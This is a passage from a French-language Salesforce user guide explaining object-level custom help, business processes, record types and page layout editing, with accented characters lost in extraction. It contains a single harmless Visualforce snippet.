Aide et formation standard. Assurez-vous d'adapter la taille et le style du contenu de votre aide personnalise pour faciliter
son utilisation.
Pour donner un style professionnel votre aide personnalise en utilisant la terminologie Salesforce.com suivez les . Pour
utiliser les styles Salesforce.com, concevez vos pages dans Visualforce.
Les pages Visualforce ou les commandes s-control sont la source du contenu de votre aide de niveau objet. Vous pouvez
donc utiliser les champs de fusion ou d'autres fonctions pour une exprience plus personnalise. Par exemple, vous pouvez
concevoir une aide personnalise qui s'adresse directement l'utilisateur en ajoutant son nom la page affiche.

Voir aussi :
Prsentation de l'aide personnalise
Dfinition de l'aide au niveau des objets

Dfinition de l'aide au niveau des objets

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour dfinir ou modifier l'aide au niveau des objets :

Personnaliser l'application

L'aide au niveau des objets remplace les liens Aide relative cette page des objets personnaliss par le contenu personnalis
de votre aide, inclus dans une page Visualforce ou dans une commande s-control. Pour rendre l'aide au niveau des objets
accessible tous les utilisateurs, il suffit de crer une page Visualforce ou une commande s-control qui inclue le contenu de
l'aide et de modifier la dfinition d'objet personnalis pour rfrencer cette page Visualforce ou cette commande s-control.
L'aide au niveau des objets devient instantanment accessible tous vos utilisateurs.
Avertissement: Les commandes S-control ont t remplaces par les pages Visualforce. Aprs janvier 2010,
salesforce.com supprimera la possibilit de crer et de distribuer de nouvelles commandes S-control. Les commandes
S-control existantes ne seront pas affectes.
Pour dfinir l'aide au niveau des objets personnaliss :
1. Crez une page Visualforce ou une commande s-control de type HTML ou URL qui inclue le contenu de l'aide.

Personnaliser

Guide de l'utilisateur | Gestion de plusieurs processus commerciaux | 537

Pour une page Visualforce, crez une page Visualforce qui n'utilise aucun contrleur ou qui utilise un contrleur
personnalis. Les contrleurs standard et les contrleurs de liste standard ne peuvent pas tre utiliss avec des pages qui
affichent l'aide du niveau de l'objet.
Avec une commande s-control HTML, crivez votre contenu d'aide directement dans le corps de la commande s-control
l'aide du balisage HTML.
Avec une commande s-control URL, entrez l'URL de votre contenu d'aide. L'URL peut tre un site Web externe qui
hberge votre contenu d'aide ou un chemin relatif vers une ressource statique qui contient votre contenu d'aide.

2. Modifiez la dfinition d'objets personnaliss qui doivent utiliser cette aide personnalise lorsque les utilisateurs cliquent
sur le lien Aide relative cette page pour ces enregistrements d'objets personnaliss.
3. Slectionnez Ouvrir une fentre l'aide d'une page Visualforce ou Ouvrir une fentre
l'aide d'une commande S-Control personnalise dans la Configuration de l'aide contextuelle.
4. Slectionnez la page Visualforce ou la commande s-control qui contient le contenu de l'aide.
5. Cliquez sur Enregistrer.
Conseil:
Vous pouvez utiliser l'attribut action dans un composant <apex:page> pour rediriger depuis une page Visualforce
vers une ressource statique. Cette fonctionnalit permet d'ajouter une aide personnalise et importante vos pages
Visualforce. Par exemple, pour rediriger un utilisateur vers un fichier PDF :
1. Tlchargez le fichier PDF en tant que ressource statique nomme customhelp.
2. Crez la page suivante :
<apex:page sidebar="false" showHeader="false" standardStylesheets="false"
action="{!URLFOR($Resource.customhelp)}"> </apex:page>

Notez que la rfrence de la ressource statique est incorpore une fonction URLFOR. Sans cette fonction, la page n'est
pas redirige correctement.

Voir aussi :
Mise en route de l'aide de niveau objet
Mise en route de l'aide au niveau des champs

Gestion de plusieurs processus commerciaux

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des processus commerciaux :

Personnaliser l'application

Utilisez plusieurs processus commerciaux pour afficher des valeurs de liste de slection diffrentes pour les utilisateurs, en
fonction du profil de ces derniers. Plusieurs processus commerciaux vous permettent de suivre diffrents cycles de vie de vente,
de support et de piste.

Personnaliser

Guide de l'utilisateur | Gestion de plusieurs processus commerciaux | 538

Processus de vente
Crez diffrents processus de vente incluant tout ou partie des valeurs de liste de slection disponibles pour le champ
tape de l'opportunit.
Processus de piste
Crez diffrents processus de piste incluant tout ou partie des valeurs de liste de slection disponibles pour le champ
Statut de la piste.
Processus de support
Crez diffrents processus de support incluant tout ou partie des valeurs de liste de slection disponibles pour le champ
Statut.
Processus de solution
Crez diffrents processus de solution incluant tout ou partie des valeurs de liste de slection disponibles pour le champ
Statut.
Aprs avoir cr un processus de vente, de support, de piste ou de solution, attribuez-le un type d'enregistrement. Le type
d'enregistrement dtermine le profil des utilisateurs qui sont associs au processus commercial.
Pour afficher la liste des processus commerciaux, cliquez sur Configuration Personnalisation, choisissez le lien d'onglet
appropri (Opportunit, Requte, Piste ou Solution), puis cliquez sur le lien Processus.

Cliquez sur Nouveau pour crer un processus commercial.

Cliquez sur Modifier pour renommer ou dsactiver le processus commercial.
Cliquez sur Suppr pour supprimer un processus commercial inutile.
Cliquez sur le nom du processus commercial pour modifier les valeurs de liste de slection qui lui sont associes.

Cration de plusieurs processus commerciaux

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des processus commerciaux :

Autorisation de personnalisation de l'application

Effectuez les tapes suivantes pour crer des processus de vente, de support, de piste et de solution.
1. Slectionnez Configuration Personnalisation, puis choisissez le lien d'onglet appropri : Opportunit, Requte, Piste
ou Solution.
2. Cliquez sur le lien Processus.
3. Cliquez sur Nouveau.
4. Choisissez un processus existant pour copier les valeurs de sa liste de slection dans le nouveau processus. Pour copier toutes
les valeurs de liste de slection disponibles, slectionnez Principal.
5. Saisissez le nom et la description du nouveau processus. Le nom doit tre unique dans l'onglet.
6. Cliquez sur Enregistrer.

Personnaliser

Guide de l'utilisateur | Gestion des types d'enregistrement | 539

Toutes les valeurs disponibles de la liste de slection s'affichent. Choisissez les valeurs que vous voulez inclure dans le
nouveau processus commercial.
7. Pour obtenir des instructions sur la cration de la liste des valeurs pour ce processus commercial, reportez-vous Modification
des listes de slection pour les types d'enregistrement et les processus commerciaux la page 541.
Ensuite, ajoutez le nouveau processus commercial un type d'enregistrement (reportez-vous Gestion des types d'enregistrement
la page 539), puis mettez ce dernier la disposition des utilisateurs en fonction de leur profil (reportez-vous Attribution de
types d'enregistrement aux profils la page 143).

Gestion des types d'enregistrement

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des types d'enregistrement :

Personnaliser l'application

Les types d'enregistrement vous permettent d'offrir diffrents processus commerciaux, valeurs de liste de slection et prsentations
de page aux diffrents utilisateurs en fonction de leur profil. Les types d'enregistrement s'utilisent de diffrentes manires, par
exemple :

Crez des types d'enregistrement diffrents pour les opportunits afin de distinguer vos contrats de vente rguliers de vos
obligations en matire de services professionnels. Proposez des valeurs de liste de slection diffrentes pour chacun d'eux.
Crez des types d'enregistrement pour afficher des prsentations de page diffrentes pour vos requtes de support client et
vos requtes de facturation.

Voir aussi :
Affichage et modification des types d'enregistrement
Dfinition des prfrences de type d'enregistrement
Cration des types d'enregistrement
Attribution de prsentations de page
Attribution de types d'enregistrement aux profils

Observations relatives aux types d'enregistrement

Gardez l'esprit les observations suivantes lorsque vous crez ou modifiez un type d'enregistrement :

Les champs spciaux de liste de slection suivants ne sont pas disponibles pour les types d'enregistrement car ils ne sont
utiliss que pour les processus de vente, de support, de piste et de solution : tape d'opportunit, Statut de la requte,
Statut de la solution et Statut de la piste. Vous pouvez utiliser des champs afin de fournir des valeurs de liste de
slection diffrentes pour divers types d'enregistrement en attribuant un processus chaque type d'enregistrement.
Les comptes personnels sont des enregistrements de compte auxquels un type d'enregistrement particulier a t attribu.
Ce sont des types d'enregistrement de compte personnel. Les types d'enregistrement de compte personnel permettent aux
champs de contact d'tre disponibles sur le compte et au compte d'tre utilis dans diffrentes situations, comme s'il s'agissait

Personnaliser

Guide de l'utilisateur | Gestion des types d'enregistrement | 540

d'un contact. Un type d'enregistrement de compte personnel par dfaut intitul Compte personnel est automatiquement
cr lorsque les comptes personnels sont activs pour votre entreprise. Vous pouvez modifier le nom de ce type
d'enregistrement et crer d'autres types d'enregistrement de compte personnel.
Vous ne pouvez pas dsactiver un type d'enregistrement qui est utilis par une adresse d'acheminement d'e-mail pour la
fonction E-mail vers requte ou E-mail vers requte la demande.
Pour crer des types de rapport pour des membres de campagne, cliquez sur Configuration Personnalisation
Campagnes Membres de campagne Types d'enregistrement.
Les types d'enregistrement peuvent tre attribus uniquement aux membres de campagne en utilisant le champ Type de
membre de campagne pour les campagnes nouvelles ou existantes. Pour attribuer des types d'enregistrement aux membres
de campagne, ajoutez le champ Type de membre de campagne la prsentation de page de campagne. Vous devez
disposer de l'autorisation Utilisateur marketing pour modifier le type de membre de campagne. Vous pouvez
galement ajouter un champ Type de membre de campagne en lecture seule la prsentation de page des membres
de campagne.

Le listes de slection de membres de campagne suivantes ne sont pas disponibles pour les types d'enregistrement : Statut,
Civilit et Source de la piste.
Salesforce.com recommande de crer au maximum 200 types d'enregistrement. Il n'existe aucune limite formelle, mais les
organisations risquent de compliquer la gestion de leurs types d'enregistrement si leur nombre dpasse 200.

Cration des types d'enregistrement

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des types d'enregistrement :

Autorisation de personnalisation de l'application

Pour crer des types d'enregistrement sur un objet standard :

1. Cliquez sur Configuration Personnalisation, puis slectionnez un objet.
Pour crer des types d'enregistrement de compte personnel, cliquez sur Configuration Personnalisation Comptes
Comptes personnels.
Pour crer des types d'enregistrement de membres de campagne, cliquez sur Configuration Personnalisation
Campagnes Membres de campagne.
2. Cliquez sur Types d'enregistrement.
3. Cliquez sur Nouveau.
4. Slectionnez Matre dans la liste droulante Type d'enregistrement existant pour copier toutes les valeurs de
liste de slection disponibles ou choisissez un type d'enregistrement pour cloner ses valeurs de liste de slection.
5. Saisissez une Etiquette de type d'enregistrement unique dans l'objet.
6. Saisissez un Nom de type d'enregistrement qui rfrence le composant lors de l'utilisation de l'API Force.com et
qui vite les conflits de nommage lors de l'installation de packages grs. Ce nom ne peut contenir que des caractres de
soulignement et alphanumriques, et il doit tre unique dans votre organisation. Il doit commencer par une lettre, ne pas
inclure despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.

Personnaliser

Guide de l'utilisateur | Gestion des types d'enregistrement | 541

7. Pour les types d'enregistrement opportunit, requte, piste et solution, slectionnez un processus commercial associer au
type d'enregistrement.
8. Saisissez une description.
9. Activez la case Actif afin d'activer le type d'enregistrement.
10. Slectionnez la colonne Activer pour le profil en regard d'un profil pour mettre le type d'enregistrement la
disposition des utilisateurs ayant ce profil. Cochez la case de la ligne d'en-tte pour l'activer dans tous les profils.
11. Pour les profils activs, slectionnez la colonne Affecter par dfaut afin de dfinir le type d'enregistrement comme
valeur par dfaut pour les utilisateurs de ce profil. Activez la case de la ligne d'en-tte pour la dfinir comme valeur par
dfaut pour tous les profils.
12. Cliquez sur Suivant.
13. Slectionnez une option d'affichage de prsentation de page pour les enregistrements de ce type :

Pour appliquer une seule prsentation de page tous les profils, slectionnez Appliquer une prsentation
tous les profils et choisissez la prsentation de page dans la liste droulante.
Pour appliquer des prsentations de page diffrentes bases sur des profils d'utilisateur, slectionnez Appliquer une
prsentation diffrente par profil et choisissez la prsentation de page de chaque profil.

14. Cliquez sur Enregistrer pour modifier les valeurs des listes de slection standard et personnalises disponibles pour le type
d'enregistrement ou sur Enregistrer et Nouveau pour crer un autre type d'enregistrement. .

Voir aussi :
Attribution de types d'enregistrement aux profils
Qu'est-ce qu'un compte personnel ?

Modification des listes de slection des types d'enregistrement et des

processus commerciaux
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des types d'enregistrement :

Personnaliser l'application

Pour crer ou modifier des processus commerciaux :

Personnaliser l'application

Pour personnaliser les valeurs dans les listes de slection de processus commerciaux et/ou de type d'enregistrement :
1. Slectionnez un type d'enregistrement, puis cliquez sur Modifier en regard de l'un des champs de liste de slection pour
personnaliser les valeurs incluses dans le type d'enregistrement.
Vous pouvez aussi slectionner un processus commercial pour personnaliser les valeurs incluses dans ce processus commercial.
2. Ajoutez des valeurs la liste Valeurs disponibles ou supprimez des valeurs de la liste Valeurs slectionnes. Les utilisateurs
pourront choisir dans la liste des valeurs slectionnes lorsqu'ils creront ou modifieront des enregistrements.
3. Si vous le souhaitez, choisissez une valeur de liste de slection par dfaut. Certaines listes de slection ncessitent une valeur
par dfaut. La valeur par dfaut d'un champ dpendant est ignore.

Personnaliser

Guide de l'utilisateur | Gestion des types d'enregistrement | 542

4. Cliquez sur Enregistrer.

Conseils relatifs la modification de listes de slection et de types d'enregistrement

La liste de slection principale, constituant la liste complte des valeurs d'une liste de slection, est indpendante de tous
les types d'enregistrement et processus commerciaux. Si vous ajoutez une valeur de liste de slection la liste de slection
principale, vous devez inclure manuellement cette nouvelle valeur dans les types d'enregistrement appropris. Si vous
supprimez une valeur de liste de slection de la liste de slection principale, cette valeur n'est plus disponible lorsque vous
crez des enregistrements. Toutefois, les enregistrements attribus cette valeur ne sont pas modifis.
Le changement de nom d'un type d'enregistrement ne modifie pas la liste des valeurs qui y figurent.
Les champs spciaux de liste de slection suivants ne sont pas disponibles pour les types d'enregistrement car ils ne sont
utiliss que pour les processus de vente, de support, de piste et de solution : tape d'opportunit, Statut de la piste,
Statut de la requte et Statut de la solution. Vous pouvez utiliser des champs afin de fournir des valeurs de liste de
slection diffrentes pour divers types d'enregistrement en attribuant un processus chaque type d'enregistrement.
Le listes de slection de membres de campagne suivantes ne sont pas disponibles pour les types d'enregistrement : Statut,
Civilit et Source de la piste.
Une fois les types d'enregistrement crs, ajoutez le champ Type d'enregistrement aux prsentations de page si vous
voulez que ce champ apparaisse dans les pages de dtails et de modification d'enregistrement. Un profil d'utilisateur peut
tre associ plusieurs types d'enregistrement. Par exemple, un utilisateur crant des campagnes marketing pour les services
amricain et europen peut disposer des types d'enregistrement de campagne amricain et europen lors de la cration de
campagnes.
Les types d'enregistrement peuvent tre attribus uniquement aux membres de campagne en utilisant le champ Type de
membre de campagne pour les campagnes nouvelles ou existantes. Pour attribuer des types d'enregistrement aux membres
de campagne, ajoutez le champ Type de membre de campagne la prsentation de page de campagne. Vous devez
disposer de l'autorisation Utilisateur marketing pour modifier le type de membre de campagne. Vous pouvez
galement ajouter un champ Type de membre de campagne en lecture seule la prsentation de page des membres
de campagne.

Voir aussi :
Cration de champs personnaliss
Dfinition des prfrences de type d'enregistrement
Attribution de types d'enregistrement aux profils

Personnaliser

Guide de l'utilisateur | Gestion des types d'enregistrement | 543

Affichage et modification des types d'enregistrement

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les pages de configuration des types
d'enregistrement :

Afficher la configuration

Pour crer ou modifier des types d'enregistrement :

Personnaliser l'application

Pour afficher la liste de types d'enregistrement, cliquez sur Configuration Personnalisation, slectionnez un objet, puis
cliquez sur le lien Types d'enregistrement. Pour des types d'enregistrement membre de campagne, cliquez sur Configuration
Personnalisation Campagnes Membres de campagne Types d'enregistrement.

Cliquez sur Nouveau pour crer un type d'enregistrement.

Cliquez sur Modifier pour renommer un type d'enregistrement ou le dsactiver en dsactivant la case Actif. La dsactivation
d'un type d'enregistrement ne supprime pas ce dernier des profils utilisateur.
Cliquez sur Suppr pour supprimer un enregistrement inactif et attribuer les enregistrements associs un autre type
d'enregistrement. Pour laisser vide le champ du type d'enregistrement dans les enregistrements associs au type
d'enregistrement supprim, slectionnez Aucun.
Remarque: La suppression de types d'enregistrements de membres de campagne met jour le champ Type de
membre de campagne dans les campagnes et les enregistrements de membres de campagne.

Cliquez sur le nom du type d'enregistrement pour modifier les listes de slection qui lui sont associes.
Cliquez sur Attribution de prsentation de page pour dfinir les prsentations de page visibles par les utilisateurs en
fonction des profils et des types d'enregistrement.
Remarque: Vous ne pouvez pas modifier ou supprimer un type d'enregistrement d'un objet si celui-ci est rfrenc
dans un script Apex. Pour plus d'informations, reportez-vous Prsentation du code Apex Force.com la page 887

Voir aussi :
Attribution de prsentations de page
Vrification de l'accessibilit des champs

Personnaliser

Guide de l'utilisateur | Gestion des prsentations de page | 544

Gestion des prsentations de page

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer, modifier et supprimer des prsentations de page : Personnaliser l'application

Vous pouvez personnaliser les prsentations de page des dtails et de modification des enregistrements, des pages du portail
libre-service, des pages du portail client Salesforce.com et de la page de clture de requte. Les prsentations de page dterminent
la prsentation et l'organisation des boutons, des champs, des commandes s-control, de Visualforce, des liens personnaliss et
des listes associes. Elles dfinissent galement les champs visibles, en lecture seule et obligatoires. Les prsentations de page
comprennent des commandes s-control et des pages Visualforce qui sont rendues dans une section champ lors de l'affichage
de la page. Vous pouvez contrler la taille des commandes s-controls et des pages Visualforce, et dterminer si une tiquette
et des barres de dfilement s'affichent ou non.
Pour utiliser les prsentations de page, slectionnez Configuration Personnalisation, cliquez sur le type d'enregistrement
voulu et choisissez Prsentations de page. Vous pouvez:

Cliquez sur Nouveau pour crer des prsentations ; reportez-vous Cration de prsentations de page la page 545.
Cliquez sur Modifier pour modifier les prsentations ou personnaliser les listes associes. Reportez-vous Personnalisation
des prsentations de page la page 546.
Cliquez sur Suppr pour supprimer des prsentations ; reportez-vous Suppression de prsentations de page la page 563.
Cliquez sur Attribution de prsentation de page pour attribuer des prsentations de page aux profils et aux types
d'enregistrement ; reportez-vous Attribution de prsentations de page la page 564.

Dans Personal Edition, Contact Manager Edition, Group Edition et Professional Edition, chaque utilisateur affiche la mme
prsentation. Si vous utilisez Enterprise Edition, Unlimited Edition ou Developer Edition, vous pouvez crer diffrentes
prsentations de page qui seront utilises par des profils et des types d'enregistrement spcifiques. Vous pouvez galement
dfinir des paramtres de scurit au niveau des champs pour limiter davantage l'accs des utilisateurs certains champs. Pour
plus d'informations, reportez-vous Attribution de prsentations de page la page 564 et Configuration de la scurit au
niveau du champ la page 182.
Dans les ditions Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, vous pouvez configurer
les prsentations de page miniatures et les objets associs qui apparaissent dans la console. Pour plus d'informations, reportez-vous
Slection d'objets associs pour la Vue de console min. la page 1241 et Dfinition des prsentations de page miniatures la
page 1242.
Conseil: Utilisez la scurit au niveau du champ pour restreindre l'accs des utilisateurs aux champs. Utilisez ensuite
principalement les prsentations de page pour organiser les pages de dtails et de modification dans les onglets. Cela
permet de rduire le nombre de prsentations de page grer. Les paramtres de scurit au niveau du champ prvalent
sur les paramtres visibles et en lecture seule de la prsentation de page s'ils sont plus restrictifs que ceux de la prsentation
de page.

Personnaliser

Guide de l'utilisateur | Cration de prsentations de page | 545

Remarque: Salesforce.com excute priodiquement un processus en arrire-plan qui nettoie les mtadonnes associes
des champs personnaliss supprims. Ce processus affecte les champs Date de la dernire modification
et Dernire modification par dans les prsentations de page, les types d'enregistrement et les objets personnaliss.

Voir aussi :
Modifier les proprits dobjet mobile
Vrification de l'accessibilit des champs
Personnalisation des prsentations de l'onglet page d'accueil
Gestion des profils
Configuration du libre-service
Configuration de la console
Configuration du portail Client

Cration de prsentations de page

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des prsentations de page :

Personnaliser l'application

Pour crer une prsentation de page :

1. Cliquez sur Configuration Personnalisation, slectionnez le lien d'activit ou d'onglet appropri, puis choisissez le
lien Prsentations de recherche.
Pour les opportunits, cliquez sur Configuration Personnalisation Opportunits Produits de l'opportunit
Prsentations de page pour crer des prsentations de page supplmentaires pour les produits associs aux opportunits.
Pour les comptes personnels, cliquez sur Configuration Personnalisation Comptes Comptes personnels
Prsentations de page pour crer ou modifier les prsentations de page supplmentaires des comptes personnels.
Pour des membres de campagne, cliquez sur Configuration Personnalisation Campagnes Membre de campagne
Prsentations de page.
2. Cliquez sur le bouton Nouveau, puis choisissez ventuellement la prsentation existante que vous souhaitez copier.
Conseil: Pour crer une prsentation de page base sur une prsentation existante, procdez comme suit :

Dans l'diteur de prsentation de page avanc, slectionnez une prsentation existante dans la liste, puis cliquez
sur Enregistrer sous pour crer une copie de la prsentation.
Dans l'diteur de prsentation de page d'origine, slectionnez une prsentation existante dans la liste, puis
cliquez sur le bouton Cloner.

3. Saisissez un nom de prsentation de page pour la nouvelle prsentation.

4. Cliquez sur Enregistrer.

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 546

Pour savoir comment modifier la prsentation de page, reportez-vous Personnalisation des prsentations de page la page
546. Pour obtenir des informations sur la dfinition de prsentations de page miniatures pour la console, reportez-vous
Configuration de la console la page 1239.

Voir aussi :
Gestion des prsentations de page
Personnalisation des listes associes

Personnalisation des prsentations de page

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour personnaliser des prsentations de page :

Personnaliser l'application

Pour afficher les prsentations de page (diteur de prsentation Afficher la configuration

de page avanc uniquement) :

Salesforce.com contient deux outils glisser-dposer pour l'dition des prsentations de page : l'diteur de prsentation de page
d'origine et un nouvel diteur de prsentation de page avanc. L'diteur de prsentation de page avanc est activ par dfaut
et fournit l'ensemble des fonctionnalits de l'diteur d'origine, ainsi que des fonctionnalits supplmentaires et une interface
WYSIWYG plus conviviale.
Si vous souhaitez utiliser l'diteur de prsentation de page d'origine, vous pouvez l'activer pour votre organisation dans les
paramtres de l'interface utilisateur Votre organisation ne peut utiliser qu'un seul diteur de prsentation de page la fois.
Accs l'diteur de prsentation de page avanc
Pour accder aux prsentations de page d'objets standard :
1. Slectionnez Configuration Personnalisation.
2. Choisissez l'objet.
3. Procdez comme suit :

Dans les organisations Enterprise Edition, Unlimited Edition et Developer Edition, cliquez sur le lien Prsentations
de page, puis sur Modifier en regard de la prsentation de page que vous souhaitez personnaliser.
Remarque: Si vous disposez uniquement de l'autorisation Afficher la configuration, le bouton Modifier n'est
pas disponible. Cliquez sur le nom de la prsentation de page pour l'afficher la place.

Dans les autres ditions, cliquez sur le lien Prsentation de page.

Pour accder aux prsentations de page d'objets personnaliss :

1. Slectionnez Configuration Crer Objets.
2. Choisissez l'objet.
3. Faites dfiler jusqu' la section Prsentations de page.

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 547

4. Cliquez sur Modifier en regard de la prsentation de page personnaliser.

Remarque: Si vous disposez uniquement de l'autorisation Afficher la configuration, le bouton Modifier n'est pas
disponible. Cliquez sur le nom de la prsentation de page pour l'afficher la place.

Dans une page de dtails, vous pouvez galement cliquer sur le lien Modifier la prsentation dans le coin suprieur droit afin
de personnaliser rapidement la prsentation de page. Salesforce.com affiche le lien Modifier la prsentation uniquement pour
les utilisateurs qui disposent de l'autorisation Personnaliser l'application.
Pour plus d'informations sur l'diteur de prsentation de page avanc, reportez-vous Personnalisation des prsentations de
page l'aide de l'diteur avanc la page 548.
Accs l'diteur de prsentation de page d'origine
Pour accder aux prsentations de page d'objets standard :
1. Slectionnez Configuration Personnalisation.
2. Choisissez l'objet.
3. Procdez comme suit :

Dans les organisations qui utilisent Enterprise, Unlimited et Developer Edition, cliquez sur Modifier en regard de la
prsentation de page que vous souhaitez personnaliser.
Dans les autres ditions, cliquez sur le lien Prsentation de page, puis sur Modifier en haut de la prsentation de page.

Pour accder aux prsentations de page d'objets personnaliss :

1.
2.
3.
4.

Slectionnez Configuration Crer Objets.

Choisissez l'objet.
Faites dfiler jusqu' la section Prsentations de page.
Procdez comme suit :

Dans les organisations qui utilisent Enterprise, Unlimited et Developer Edition, cliquez sur Modifier en regard de la
prsentation de page que vous souhaitez personnaliser.
Dans les autres ditions, cliquez sur le lien Prsentation de page, puis sur Modifier en haut de la prsentation de page.

Pour plus d'informations sur l'diteur de prsentation de page d'origine, reportez-vous Personnalisation des prsentations
de page l'aide de l'diteur d'origine la page 557.

Voir aussi :
Personnalisation des listes associes
Gestion des prsentations de page
Restriction de la modification du prix et de la quantit des produits de l'opportunit
Modification des prsentations multilignes de produits de l'opportunit
Configuration du portail Client

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 548

Personnalisation des prsentations de page l'aide de l'diteur avanc

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour personnaliser les prsentations de page :

Personnaliser l'application

Pour afficher les prsentations de page :

Afficher la configuration

L'diteur de prsentation de page avanc est un outil WYSIWYG riche en fonctionnalits, qui permet de personnaliser les
dtails de prsentation de page de votre organisation et de modifier les pages dans Salesforce.com, le portail libre-service et le
Portail client Salesforce.com : L'diteur de prsentation de page avanc est activ par dfaut et fournit l'ensemble des
fonctionnalits de l'diteur d'origine, ainsi que des fonctionnalits supplmentaires et une interface plus conviviale. Pour accder
l'diteur de prsentation de page, reportez-vous Personnalisation des prsentations de page la page 546.
Remarque: Pour accder l'diteur de prsentation de page avanc, reportez-vous Personnalisation des prsentations
de page la page 546.
L'diteur de prsentation de page avanc comprend deux parties : une palette dans la partie suprieure de l'cran et la prsentation
de page dans la partie infrieure de l'cran. La palette contient les lments d'interface utilisateur, tels que les champs, les
boutons, les liens, les listes associes, ainsi que tout lment supplmentaire disponible que vous pouvez ajouter la prsentation
de page.
Lors de l'utilisation de l'diteur de prsentation de page avanc :

Pour ajouter un lment de l'interface utilisateur la prsentation de page, dans la colonne gauche de la palette, slectionnez
la catgorie laquelle appartient l'lment, puis faites-le glisser depuis la palette jusqu' la prsentation de page.
Pour supprimer un lment de l'interface utilisateur de la prsentation de page, faites glisser l'lment depuis la prsentation
de page vers le ct droit de la palette ou cliquez sur l'icne x ( ) en regard de l'lment.
Utilisez les boutons annuler et rpter pour respectivement reculer ou avancer d'une tape.
Utilisez les raccourcis clavier suivants :
-

Annuler = Ctrl+Z
Rpter = Ctrl+Y
Enregistrement rapide = Ctrl+S

Pour slectionner individuellement plusieurs lments, utilisez la combinaison Ctrl + clic. Pour slectionner plusieurs
lments la fois, utilisez la combinaison Maj + clic.
Pour modifier les proprits d'un lment de la prsentation de page, double-cliquez dessus ou cliquez sur l'icne de cl
mollette ( ) en regard de l'lment. Vous ne pouvez pas modifier les proprits des lments dans la palette.
Pour dfinir un champ en lecture seule ou obligatoire, double-cliquez dessus dans la prsentation de page, puis activez la
case Lecture seule ou Obligatoire.
Pour gagner de l'espace en hauteur lorsque vous dplacez des lments dans la prsentation de page, cliquez sur la flche
situe sous la palette pour la rduire.
Pour accder aux autres prsentations d'un objet en affichant ou en personnalisant un objet avec plusieurs prsentations de
page, cliquez sur l'diteur de prsentation de page avanc en haut de la page et slectionnez une autre prsentation afficher.

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 549

Pour modifier le nom de la prsentation de page, ajouter des balises personnelles et publiques disponibles et afficher des
cases cocher d'objet standard dans la prsentation de page, cliquez sur Proprits de prsentation.
Pour visualiser la prsentation de page, cliquez sur Aperu en tant que. Dans l'aperu des versions Enterprise Edition,
Unlimited Edition et Developer Edition, slectionnez un profil pour afficher la prsentation des pages selon le profil des
utilisateurs. Notez que l'aperu de la plupart des colonnes de listes associes n'affiche aucune donne.
Pour localiser rapidement un lment de la palette, utilisez la case Recherche rapide. Cette case est particulirement utile
pour les prsentations de page qui contiennent un grand nombre d'lments disponibles dans la palette.
Pour enregistrer vos modifications et continuer modifier la prsentation de page, cliquez sur Enregistrement rapide.
Pour enregistrer vos modifications lorsque vous avez termin de personnaliser la prsentation de page, cliquez sur Enregistrer.
Si vous quittez votre prsentation de page avant de cliquer sur Enregistrer, vos modifications sont perdues.
Pour crer une copie de votre prsentation de page, cliquez sur Enregistrer et slectionnez Enregistrer sous.
Pour slectionner les enregistrements associs qui s'affichent dans la vue rduite de la console, cliquez sur Vue de console
min.. (disponible uniquement dans Professional, Enterprise, Unlimited et Developer Edition).
Remarque: Vous ne pouvez pas slectionner Vue de console min. pour la Prsentation de requtes cltures ou
les prsentations Page de consignation de requte et Page d'affichage des requtes dans le portail Libre-service.

Pour dfinir les prsentations de page miniatures des enregistrements qui s'affichent dans la vue rduite de la console,
cliquez sur Prsentation de page min.. Cette prsentation de page miniatures dfinit galement la prsentation des dtails
de placement et des plans d'vnement. (disponible uniquement dans Professional, Enterprise, Unlimited et Developer
Edition).
Remarque: Vous ne pouvez pas dfinir de prsentations de page miniatures pour la Prsentation de requtes
cltures ou les prsentations Page de consignation de requte et Page d'affichage des requtes dans le portail
Libre-service.

Voir aussi :
Personnalisation des prsentations de page
Notes relatives l'utilisation de l'diteur de prsentation de page avanc
lments d'interface utilisateur de l'diteur de prsentation de page avanc
Personnalisation des listes associes
Gestion des prsentations de page
Restriction de la modification du prix et de la quantit des produits de l'opportunit
Modification des prsentations multilignes de produits de l'opportunit
Configuration du portail Client

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 550

lments d'interface utilisateur de l'diteur de prsentation de page

avanc
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour personnaliser les prsentations de page :

Personnaliser l'application

Pour afficher les prsentations de page :

Afficher la configuration

La liste suivante prsente les lments de l'interface utilisateur de l'diteur de prsentation de page avanc ainsi que leur
utilisation dans votre prsentation de page.
Conseil: Crez les boutons, liens personnaliss, champs, commandes custom s-controls et pages Visualforce appropris
avant de modifier votre prsentation de page.
Espaces vides
Vous pouvez ajouter et dplacer des espaces vides vers n'importe quelle section de la prsentation de page. Utilisez des
espaces vides pour aligner et distinguer visuellement les lments sur la page.
Pour ajouter un espace vide, faites glisser l'lment de l'interface utilisateur Espace vide depuis la palette jusqu'
l'emplacement souhait dans prsentation de page. L'lment de l'interface utilisateur Espace vide correspond la
premire option de la palette lorsque vous slectionnez Champs, Liens personnaliss, Commandes Custom S-Control
ou la catgorie Pages Visualforce de la palette.
Remarque: Si vous utilisez l'diteur de prsentation de page d'origine pour afficher une prsentation de page
cre dans l'diteur avanc, l'diteur d'origine affiche tous les espaces vides que vous avez ajouts. Vous ne pouvez
